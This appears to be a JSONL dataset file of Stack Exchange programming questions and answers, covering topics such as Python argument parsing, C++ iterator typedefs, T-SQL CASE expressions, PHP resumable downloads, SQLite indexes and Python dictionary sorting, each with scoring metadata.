{"id": "hf_b3b659b0384a", "question": "<p>We're in the process of developing a measurement device that will be running \nCE 6.0 with CF 3.5 on x86 embedded hardware, a PC is used to control the \ndevice and is connected with it using ethernet.</p>\n\n<p>We would like to communicate using interfaces (using DCOM (we know it is not \nsupported by default on CE6), .NET Remoting or Web services) instead of \nusing some sort of (custom) protocol. Calling methods defined in an \ninterface is so much easier and elegant then parsing raw data.</p>\n\n<p>What would be the best solution in this case?</p>\n", "question_body": "", "answer": "I've had some experience setting up comms between CE devices and a PC, and have used custom interfaces using winsock (thwacking some bytes back and forwards) and have tried SOAP. In Windows CE 5.0, the Microsoft provided SOAP server took our device down somehow every couple of hours or so. I spent many weeks trying to work out what was wrong, thinking it was something I'd done wrong. So, I prefer to stick to winsock now because at least I've got a chance of knowing what's going on and can fix it.\nAlso, CE devices aren't always the quickest performers depending on what hardware you've got. Web-services take up some overhead and time converting data to XML, and this may be a performance hit you are or are not able to afford.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.164492"}
{"id": "hf_b0e3f91b7ea3", "question": "<p>Can anyone recommend good simulation software for mobile devices?  I am most interested in Nokia smart phones.</p>\n", "question_body": "", "answer": "Are you looking for Emulator for Nokia phones? You can find those\nhere\n..\nOtherwise explain clearly what kind of simulation software you are looking for!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.201031"}
{"id": "hf_e5e2fcf24e42", "question": "<p>I'm writing a shell for a project of mine, which by design parses commands that looks like this:</p>\n\n<p>COMMAND_NAME ARG1=\"Long Value\" ARG2=123 ARG3=me@me.com</p>\n\n<p>My problem is that Python's command line parsing libraries (getopt and optparse) forces me to use '-' or '--' in front of the arguments. This behavior doesn't match my requirements.</p>\n\n<p>Any ideas how can this be solved? Any existing library for this?</p>\n", "question_body": "", "answer": "Without fairly intensive surgery on optparse or getopt, I don't believe you can sensibly make them parse your format. You can easily parse your own format, though, or translate it into something optparse could handle:\n```\n```\nparser = optparse.OptionParser()\nparser.add_option(\"--ARG1\", dest=\"arg1\", help=\"....\")\nparser.add_option(...)\n...\nnewargs = sys.argv[:1]\nfor idx, arg in enumerate(sys.argv[1:])\n    parts = arg.split('=', 1)\n    if len(parts) < 2:\n        # End of options, don't translate the rest. \n        newargs.extend(sys.argv[idx+1:])\n        break\n    argname, argvalue = parts\n    newargs.extend([\"--%s\" % argname, argvalue])\n\nparser.parse_args(newargs)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.225278"}
{"id": "hf_7b18b0e3cd49", "question": "<p>I have been using C# for a while now, and going back to C++ is a headache. I am trying to get some of my practices from C# with me to C++, but I am finding some resistance and I would be glad to accept your help.</p>\n\n<p>I would like to expose an iterator for a class like this:</p>\n\n<pre><code>template &lt;class T&gt;\nclass MyContainer\n{\npublic:\n    // Here is the problem:\n    // typedef for MyIterator without exposing std::vector publicly?\n\n    MyIterator Begin() { return mHiddenContainerImpl.begin(); }\n    MyIterator End() { return mHiddenContainerImpl.end(); }\n\nprivate:\n    std::vector&lt;T&gt; mHiddenContainerImpl;\n};\n</code></pre>\n\n<p>Am I trying at something that isn't a problem? Should I just typedef std::vector&lt; T >::iterator? I am hoping on just depending on the iterator, not the implementing container...</p>\n", "question_body": "", "answer": "This should do what you want:\n```\n```\ntypedef typename std::vector<T>::iterator MyIterator;\n```\n```\nFrom\nAccelerated C++\n:\nWhenever you have a type, such as\n```\nvector<T>\n```\n, that depends on a template parameter, and you want to use a member of that type, such as\n```\nsize_type\n```\n, that is itself a type, you must precede the entire name by\n```\ntypename\n```\nto let the implementation know to treat the name as a type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.321143"}
{"id": "hf_db2de1198504", "question": "<p>I'm planning to write a web service aka api for my application which was developed with .Net and SQLServer. .Net provides a simple way to create webservices by creating asmx files. But i need to know how best it can be designed or what are the best practices in creating a web service in .net or some pointers to good articles as this is my first experience in web services programming. Eventhough SF has many references to best practices in API (which are very good) i dont find much information oriented for .net webservices.</p>\n\n<p>Update: After dariom's reply i would like to mention that i'm doing it in .net 2.0</p>\n", "question_body": "", "answer": "It's not easy to remember all the best practices out there, but here is my advice:\nAvoid using data types which aren't easily serializable or aren't compatible with the WS standards (and thus you won't be able to consume the service using different languages). Most notably are RecordSets and other MS-only reference types.\nNotice there's a difference between static web service (a static method which has [webmethod]) and non-static (memeber function). This might affect your performance and resource usage.\nThere's a difference between designing a .NET webservice that runs inside your intranet, and a webservice designed for the internet. The second should be simpler in that the XML data that goes on the wire should be much smaller.\nI guess the webservice is going to deployed on an IIS server. Notice there's a difference in authentication when running inside the intranet and on the internet. You might need to use impersonation for the service to be able to do specific tasks.\nI guess there's much much more, better look for some documentation discussing that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.418441"}
{"id": "hf_9c8e4b46d6e9", "question": "<p>I recently started learning <a href=\"http://www.gnu.org/software/emacs/\" rel=\"noreferrer\">Emacs</a>. I went through the tutorial, read some introductory articles, so far so good.</p>\n\n<p>Now I want to use it for Python development. From what I understand, there are two separate Python modes for Emacs: python-mode.el, which is part of the Python project; and python.el, which is part of Emacs 22.</p>\n\n<p>I read all information I could find but most of it seems fairly outdated and I'm still confused. </p>\n\n<p>The questions:</p>\n\n<ol>\n<li>What is their difference?</li>\n<li>Which mode should I install and use? </li>\n<li>Are there other Emacs add-ons that are essential for Python development?</li>\n</ol>\n\n<p>Relevant links:</p>\n\n<ul>\n<li><a href=\"http://wiki.python.org/moin/EmacsEditor\" rel=\"noreferrer\">EmacsEditor</a> @ wiki.python.org</li>\n<li><a href=\"http://www.emacswiki.org/cgi-bin/wiki/PythonMode\" rel=\"noreferrer\">PythonMode</a> @ emacswiki.org</li>\n</ul>\n", "question_body": "", "answer": "If you are using GNU Emacs 21 or before, or XEmacs, use python-mode.el. The GNU Emacs 22 python.el won't work on them. On GNU Emacs 22, python.el does work, and ties in better with GNU Emacs's own symbol parsing and completion, ElDoc, etc. I use XEmacs myself, so I don't use it, and I have heard people complain that it didn't work very nicely in the past, but there are updates available that fix some of the issues (for instance, on the emacswiki page you link), and you would hope some were integrated upstream by now. If I were the GNU Emacs kind, I would use python.el until I found specific reasons not to.\nThe python-mode.el's single biggest problem as far as I've seen is that it doesn't quite understand triple-quoted strings. It treats them as single-quoted, meaning that a single quote inside a triple-quoted string will throw off the syntax highlighting: it'll think the string has ended there. You may also need to change your auto-mode-alist to turn on python-mode for .py files; I don't remember if that's still the case but my init.el has been setting auto-mode-alist for many years now.\nAs for other addons, nothing I would consider 'essential'. XEmacs's func-menu is sometimes useful, it gives you a little function/class browser menu for the current file. I don't remember if GNU Emacs has anything similar. I have a rst-mode for reStructuredText editing, as that's used in some projects. Tying into whatever VC you use, if any, may be useful to you, but there is builtin support for most and easily downloaded .el files for the others.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.442534"}
{"id": "hf_4dc9b1b934af", "question": "<p>I have an script that falls over if any of the procedures it is trying to create already exists. How can I check/drop if this procedure is already created?</p>\n", "question_body": "", "answer": "I would guess something along the lines of:\n```\n```\nIF EXISTS\n(\n    SELECT *\n    FROM SYSPROCS\n    WHERE SPECIFIC_SCHEMA = ???\n      AND SPECIFIC_NAME = ???\n      AND ROUTINE_SCHEMA = ???\n      AND ROUTINE_NAME = ???\n)\n    DROP PROCEDURE ???\n```\n```\nI don't know if you actually need the SPECIFIC_* information or not and I don't know how to handle cases where you have two procedures with the same name but different call signatures, but hopefully this gets you on the right track.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.466547"}
{"id": "hf_bb1ba77609b0", "question": "<p>I'm attempting to check for the existence of a node using the following .NET code:</p>\n\n<pre><code>xmlDocument.SelectSingleNode(\n        String.Format(\"//ErrorTable/ProjectName/text()='{0}'\", projectName));\n</code></pre>\n\n<p>This always raises:</p>\n\n<blockquote>\n  <p>XPathException: Expression must evaluate to a node-set. </p>\n</blockquote>\n\n<p>Why am I getting this error and how can I resolve it? Thank you.</p>\n", "question_body": "", "answer": "Try:\n```\n```\nNode node = xmlDocument.SelectSingleNode(String.Format(\"//ErrorTable/ProjectName = '{0}'\", projectName));\n\nif (node != null) {\n    // and so on\n}\n```\n```\nEdit: silly error", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.526099"}
{"id": "hf_2206962cd4af", "question": "<p>I have a list of tuples eg. [{1,40},{2,45},{3,54}....{7,23}] where 1...7 are days of the week (calculated by finding calendar:day_of_the_week()). So now I want to change the list to [{Mon,40},{Tue,45},{Wed,54}...{Sun,23}]. Is there an easier way to do it than lists:keyreplace?</p>\n", "question_body": "", "answer": "Simple. Use map and a handy tool from the httpd module.\n```\n```\nlists:map(fun({A,B}) -> {httpd_util:day(A),B} end, [{1,40},{2,45},{3,54},{7,23}]).\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.561799"}
{"id": "hf_1e5c879bbd0e", "question": "<p>When you're adding javaDoc comments to your code and you're outlining the structure of an XML document that you're passing back, what's the best way to represent attributes? Is there a best practice for this?</p>\n\n<p>My general structure for my javaDoc comments is like this:</p>\n\n<pre><code>/**\n * ...\n * \n * @return XML document in the form:\n * \n * &lt;pre&gt;\n * &amp;lt;ROOT_ELEMENT&amp;gt;\n *    &amp;lt;AN_ELEMENT&amp;gt;\n *    &amp;lt;MULTIPLE_ELEMENTS&amp;gt;*\n * &amp;lt;/ROOT_ELEMENT&amp;gt;\n * &lt;/pre&gt;\n */\n</code></pre>\n", "question_body": "", "answer": "Not sure I clearly  understand your question.\nMy preferred solution would be to embed the schema XSD or DTC in the description of the return parameter. Your solution seems to lead to personal idioms on how to represent things like multiple elements or others. Using a standard like XSD or DTD allows you to have a well know and recognized language on how to describe the structure of a XML document.\nRegarding the JavaDoc representation if you are using Eclipse you can specify under Save Actions to format your document. This way you can write normally with > and < and see it converted to the escaped HTML codes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.585978"}
{"id": "hf_8852685a6571", "question": "<p>I made a view to abstract columns of different tables and pre-filter and pre-sort them. There is one column whose content I don't care about but I need to know whether the content is null or not. So my view should pass an alias as \"<em>true</em>\" in case the value of this specified column <strong>isn't null</strong> and \"<em>false</em>\" in case the value <strong>is null</strong>.</p>\n\n<p>How can I select such a boolean with T-SQL?</p>\n", "question_body": "", "answer": "You have to use a\nCASE\nstatement for this:\n```\n```\nSELECT CASE WHEN columnName IS NULL THEN 'false' ELSE 'true' END FROM tableName;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.621064"}
{"id": "hf_e2f63ca0a9bc", "question": "<p>As far as i know it is not possible to do the following in C# 2.0</p>\n\n<pre><code>public class Father\n{\n    public virtual Father SomePropertyName\n    {\n        get\n        {\n            return this;\n        }\n    }\n}\n\npublic class Child : Father\n{\n    public override Child SomePropertyName\n    {\n        get\n        {\n            return this;\n        }\n    }\n}\n</code></pre>\n\n<p>I workaround the problem by creating the property in the derived class as \"new\", but of course that is not polymorphic.</p>\n\n<pre><code>public new Child SomePropertyName\n</code></pre>\n\n<p>Is there any solution in 2.0?\nWhat about any features in 3.5 that address this matter? </p>\n", "question_body": "", "answer": "No. C# does not support this idea (it's called \"return type covariance\"). \nYou can however do this:\n```\n```\npublic class FatherProp\n{\n}\n\npublic class ChildProp: FatherProp\n{\n}\n\npublic class Father\n{\n    public virtual FatherProp SomePropertyName\n    {\n        get\n        {\n            return new FatherProp();\n        }\n    }\n}\n\npublic class Child : Father\n{\n    public override FatherProp SomePropertyName\n    {\n        get\n        {\n            // override to return a derived type instead\n            return new ChildProp();\n        }\n    }\n}\n```\n```\ni.e. use the contract defined by the base class, but return a derived type. I have made a more detailed sample to make this point clearer - returning \"this\" again wouldn't change anything.\nIt is possible (but messy) to test the returned object for it's actual type (i.e. \"if someObject is ChildProp\"), but it is better to call a virtual method on it that does the right thing for its type.\nThe base class virtual method (in this case, virtual property) not only has an implementation, but also defines a contract: that a child class can supply a different implementation of SomePropertyName if it meets this contract (i.e. SomePropertyName returns an object of type \"FatherProp\"). Returning an object of type \"ChildProp\" derived from \"FatherProp\" meets this contract. But you can't change the contract in \"Child\" - this contract applies to all classes descended from \"Father\".\nIf you take a step back and look at your broader design, there are other language constructs in the C# toolkit that you may also want to think about instead - Generics, or interfaces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.656265"}
{"id": "hf_be3a8eefcf8d", "question": "<p>I'd like to limit the size of the file that can be uploaded to an application. To achieve this, I'd like to abort the upload process from the server side when the size of the file being uploaded exceeds a limit.</p>\n\n<p>Is there a way to abort an upload process from the server side without waiting the HTTP request to finish?</p>\n", "question_body": "", "answer": "You might try doing this in the doPost() method of your servlet\n```\n```\nmulti = new MultipartRequest(request, dirName, FILE_SIZE_LIMIT); \n\nif(submitButton.equals(multi.getParameter(\"Submit\")))\n{\n    out.println(\"Files:\");\n    Enumeration files = multi.getFileNames();\n    while (files.hasMoreElements()) {\n    String name = (String)files.nextElement();\n    String filename = multi.getFilesystemName(name);\n    String type = multi.getContentType(name);\n    File f = multi.getFile(name);\n    if (f.length() > FILE_SIZE_LIMIT)\n    {\n        //show error message or\n        //return;\n        return;\n    }\n}\n```\n```\nThis way you don't have to wait to completely process your HttpRequest and can return or show an error message back to the client side. HTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.680103"}
{"id": "hf_c88cdbf3f64b", "question": "<p>Anybody knows how to do this? I got all the information of the email (body, subject, from , to, cc, bcc) and need to generate an .eml file out of it.</p>\n", "question_body": "", "answer": "EML files are just plain text files. The headers are separated from the body by a blank line. Headers look like this:\n```\n```\nFrom: \"DR CLEMENT OKON\" <drclement@nigerianspam.com>\nTo: \"You\" <you@yourdomain.com>\nSubject: REQUEST FOR URGENT BUSINESS RELATIONSHIP \nDate: Tue, 30 Sep 2008 09:42:47 -0400\n```\n```\nFor more info, the official spec is\nRFC 2822\n. It's actually not as hard to read as some RFCs.\nEdit: When I said \"plain text\" I should have thought for a second. I really meant plain ASCII - and not the 8-bit \"extended ASCII\" either - just up to character 127. If you want more than seven bits, you need some kind of encoding and things get complicated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.766063"}
{"id": "hf_e8340337c60e", "question": "<p>I would like to send HTML email with graphic elements included. I have no idea to attach garaphics to this email.</p>\n", "question_body": "", "answer": "I'm not going to bore you with a mediocre explanation here so instead let me link to this great tutorial over at Sitepoint which explained it to me in plain English! -\nadvanced-email-php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.801470"}
{"id": "hf_39d0ef9b4359", "question": "<p>With the best will in the world, whatever software you (and me) write will have some kind of defect in it.</p>\n\n<p>What can I do, as a developer, to make things easier for the support department (first line, through to third line, and development) to diagnose, workaround and fix problems that the user encounters.</p>\n\n<h3>Notes</h3>\n\n<ul>\n<li>I'm expecting answers which are predominantly technical in nature, but I expect other answers to exist.</li>\n<li>\"Don't release bugs in your software\" is a good answer, but I know that already.</li>\n</ul>\n", "question_body": "", "answer": "Technical features:\nIn the error dialogue for a desktop app, include a clickable button that opens up and email, and attaches the stacktrace, and log, including system properties.\nOn an error screen in a webapp, report a timestamp including nano-seconds and error code, pid, etc so server logs can be searched.\nAllow log levels to be dynamically changed at runtime. Having to restart your server to do this is a pain.\nLog as much detail about the environment in which you're executing as possible (probably on startup).\nNon-technical:\nProvide a known issues section in your documentation. If this is a web page, then this correspond to a triaged bug list from your bug tracker.\nDepending on your audience, expose some kind of interface to your issue tracking.\nAgain, depending on audience, provide some forum for the users to help each other.\nUsability solves problems before they are a problem. Sensible, non-scary error messages often allow a user to find the solution to their own problem.\nProcess:\nwatch your logs. For a server side product, regular reviews of logs will be a good early warning sign for impending trouble. Make sure support knows when you think there is trouble ahead.\nallow time to write tools for the support department. These may start off as debugging tools for devs, become a window onto the internal state of the app for support, and even become power tools for future releases.\nallow some time for devs to spend with the support team; listening to customers on a support call, go out on site, etc. Make sure that the devs are not allowed to promise anything. Debrief the dev after doing this - there maybe feature ideas there.\nwhere appropriate provide user training. An impedence mismatch can cause the user to perceive problems with the software, rather than the user's mental model of the software.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.841349"}
{"id": "hf_8deeb4c42dec", "question": "<p>Which Computer-aided Software Engineering tools do you use and why? In what ways do they increase your productivity or help you design your programs? Or, in case you do not use CASE tools, what are your reasons for this?</p>\n", "question_body": "", "answer": "I have used Rational Rose and a few other similar packages in the past. Mostly I have used them for the UML diagram elements and have not gone into the more detailed functionality such as code generation etc.\nI mostly use them for aiding the design process and clarifying my own ideas. Often I find that, in trying to come up with a design for a componant, I end up needing to write down / draw what I want to happen so I can get a clear overview in my mind of what needs to happen and why. I have found that in a lot of cases, what I end up trying to draw is essentially the same as a predefined kind of diagram in UML, such as a Use Case Diagram etc. and by then adopting that style, it becomes easier to get my ideas on paper as I have some framework to work within.\nSo, I use CASE tools principally for thier UML / designing tools at a highish, semi-abstract level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.878088"}
{"id": "hf_2f9d17c07e9d", "question": "<p>In the past and with most my current projects I tend to use a for loop like this:</p>\n\n<pre><code>var elements = document.getElementsByTagName('div');\nfor (var i=0; i&lt;elements.length; i++) {\n    doSomething(elements[i]);\n}\n</code></pre>\n\n<p>I've heard that using a \"reverse while\" loop is quicker but I have no real way to confirm this:</p>\n\n<pre><code>var elements = document.getElementsByTagName('div'), \n    length = elements.length;\n\nwhile(length--) {\n    doSomething(elements[length]);\n}\n</code></pre>\n\n<p>What is considered as best practice when it comes to looping though elements in JavaScript, or any array for that matter?</p>\n", "question_body": "", "answer": "At the risk of getting yelled at, i would get a javascript helper library like\njquery\nor\nprototype\nthey encapsulate the logic in nice methods - both have an .each method/iterator to do it - and they both strive to make it cross-browser compatible\nEDIT: This answer was posted in 2008. Today much better constructs exist. This particular case could be solved with a\n```\n.forEach\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:10.917661"}
{"id": "hf_78e1c8b3c373", "question": "<p>We have a project consisting of multiple subprojects. With each subproject we potentially have some hibernate mapping files but in the end only <strong>one actual hibernate session</strong>. Those subprojects could be combined in several ways, some depend on each other. My problem is that actually I want to have a SessionFactoryBean which would be able to collect those mappings/mappinglocations from the applicationContext(s) and configure itself.</p>\n\n<p>Has somebody written something like this, or do I have to do it myself (I envision something a bit like the urlresolver or viewresolver functionality from SpringMVC)?</p>\n", "question_body": "", "answer": "```\nLocalSessionFactoryBean\n```\nhas a configLocations property.  You inject the list of config locations, and it will gather tham together for a single session factory configuration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.001006"}
{"id": "hf_4982bef02f16", "question": "<p>Following Izb's question about <a href=\"https://stackoverflow.com/questions/8599/best-binary-xml-format-for-javame\">Best binary XML format for JavaME</a>, I'm looking for an implementation for either binary XML-like formats or just plain XML. My metrics for such implementation, by most important first, are:</p>\n\n<ol>\n<li>Supported phones. A basic <a href=\"http://jcp.org/en/jsr/detail?id=185\" rel=\"nofollow noreferrer\">JTWI</a> phone should be able to run it. </li>\n<li>It should be either verified or open source, so I could have it verified.</li>\n<li>Small memory footprint.</li>\n<li>Fast.</li>\n<li>Easy to use on server side.</li>\n</ol>\n", "question_body": "", "answer": "The W3C defined a binary encoding for XML, it's called Fast InfoSet, but it's optimised for high-volume web services, rather than embedded devices, and I don't think there are any light and fast implementations suitable for you.\nIf you want to stick with plain XML, and you need a DOM implementation, then go with XOM (\nhttp://xom.nu\n). It's easily the DOM with the smallest footprint, and it's very fast.\nBut if you really need to reduce your footprint, then you need to use a non-DOM API like SAX or STAX, but that's considerably more work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.036583"}
{"id": "hf_9e20605bb1c8", "question": "<p>We are using a PHP scripting for tunnelling file downloads, since we don't want to expose the absolute path of downloadable file:</p>\n\n<pre><code>header(\"Content-Type: $ctype\");\nheader(\"Content-Length: \" . filesize($file));\nheader(\"Content-Disposition: attachment; filename=\\\"$fileName\\\"\");\nreadfile($file);\n</code></pre>\n\n<p>Unfortunately we noticed that downloads passed through this script can't be resumed by the end user. </p>\n\n<p>Is there any way to support resumable downloads with such a PHP-based solution?</p>\n", "question_body": "", "answer": "Yes. Support byteranges. See\nRFC 2616 section 14.35\n.\nIt basically means that you should read the\n```\nRange\n```\nheader, and start serving the file from the specified offset.\nThis means that you can't use readfile(), since that serves the whole file. Instead, use\nfopen()\nfirst, then\nfseek()\nto the correct position, and then use\nfpassthru()\nto serve the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.061108"}
{"id": "hf_1fa9fbfdf88d", "question": "<p>I happened to debate with a friend during college days whether advanced mathematics is necessary for any veteran programmer. He used to argue fiercely against that. He said that programmers need only basic mathematical knowledge from high school or fresh year college math, no more no less, and that almost all of programming tasks can be achieved without even need for advanced math. He argued, however, that algorithms are fundamental &amp; must-have asset for programmers.</p>\n\n<p>My stance was that all computer science advances depended almost solely on mathematics advances, and therefore a thorough knowledge in mathematics would help programmers greatly when they're working with real-world challenging problems.</p>\n\n<p>I still cannot settle on which side of the arguments is correct. Could you tell us your stance, from your own experience?</p>\n", "question_body": "", "answer": "computer science != programming\nOK, seriously, I know good and bad programmers who were English and Psychology majors and some that were Computer Science majors.  Some very famous guys that I admire as developers didn't have a CS background.  Larry Wall(Perl), for example, was a linguist.\nOn the other hand, it helps to know something about the domain you are working on because then you can at least see if your data makes sense and help your customer/users drill down to what they really want.\nAnd yes, there's the issue of computational complexity and efficient data structures and program correctness.  That's stuff you learn in Computer Science and that's useful to know in almost any domain, but it's neither necessary nor sufficient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.097881"}
{"id": "hf_3693a43f962f", "question": "<p>I want to find out, with an SQL query, whether an index is UNIQUE or not. I'm using SQLite 3.</p>\n\n<p>I have tried two approaches:</p>\n\n<pre><code>SELECT * FROM sqlite_master WHERE name = 'sqlite_autoindex_user_1'\n</code></pre>\n\n<p>This returns information about the index (\"type\", \"name\", \"tbl_name\", \"rootpage\" and \"sql\"). Note that the sql column is empty when the index is automatically created by SQLite.</p>\n\n<pre><code>PRAGMA index_info(sqlite_autoindex_user_1);\n</code></pre>\n\n<p>This returns the columns in the index (\"seqno\", \"cid\" and \"name\").</p>\n\n<p>Any other suggestions?</p>\n\n<p><strong>Edit:</strong> The above example is for an auto-generated index, but my question is about indexes in general. For example, I can create an index with \"CREATE UNIQUE INDEX index1 ON visit (user, date)\". It seems no SQL command will show if my new index is UNIQUE or not.</p>\n", "question_body": "", "answer": "you can programmatically build a select statement to see if any tuples point to more than one row. If you get back three columns, foo, bar and baz, create the following query\n```\n```\nselect count(*) from t\ngroup by foo, bar, baz\nhaving count(*) > 1\n```\n```\nIf that returns any rows, your index is not unique, since more than one row maps to the given tuple. If sqlite3 supports derived tables (I've yet to have the need, so I don't know off-hand), you can make this even more succinct:\n```\n```\nselect count(*) from (\n    select count(*) from t\n    group by foo, bar, baz\n    having count(*) > 1\n)\n```\n```\nThis will return a single row result set, denoting the number of duplicate tuple sets. If positive, your index is not unique.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.145160"}
{"id": "hf_3f86ac39a144", "question": "<p>I have a dictionary of 200,000 items (the keys are strings and the values are integers).</p>\n\n<p>What is the best/most pythonic way to print the items sorted by descending value then ascending key (i.e. a 2 key sort)?</p>\n\n<pre><code> a={ 'keyC':1, 'keyB':2, 'keyA':1 }\nb = a.items()\nb.sort( key=lambda a:a[0])\nb.sort( key=lambda a:a[1], reverse=True )\nprint b\n&gt;&gt;&gt;[('keyB', 2), ('keyA', 1), ('keyC', 1)]\n</code></pre>\n", "question_body": "", "answer": "You can't sort dictionaries.  You have to sort the list of items.\nPrevious versions were wrong.  When you have a numeric value, it's easy to sort in reverse order.   These will do that.  But this isn't general.  This only works because the value is numeric.\n```\n```\na = { 'key':1, 'another':2, 'key2':1 }\n\nb= a.items()\nb.sort( key=lambda a:(-a[1],a[0]) )\nprint b\n```\n```\nHere's an alternative, using an explicit function instead of a lambda and the cmp instead of the key option.\n```\n```\ndef valueKeyCmp( a, b ):\n    return cmp( (-a[1], a[0]), (-b[1], b[0] ) )\n\nb.sort( cmp= valueKeyCmp )\nprint b\n```\n```\nThe more general solution is actually two separate sorts\n```\n```\nb.sort( key=lambda a:a[1], reverse=True )\nb.sort( key=lambda a:a[0] )\nprint b\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.169090"}
{"id": "hf_9b0d68dce803", "question": "<p>How can this line in Java be translated to Ruby:<br>\n    String className = \"java.util.Vector\";<br>\n    ...<br>\n    Object o = Class.forName(className).newInstance();  </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nObject::const_get('String').new()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:11.240607"}
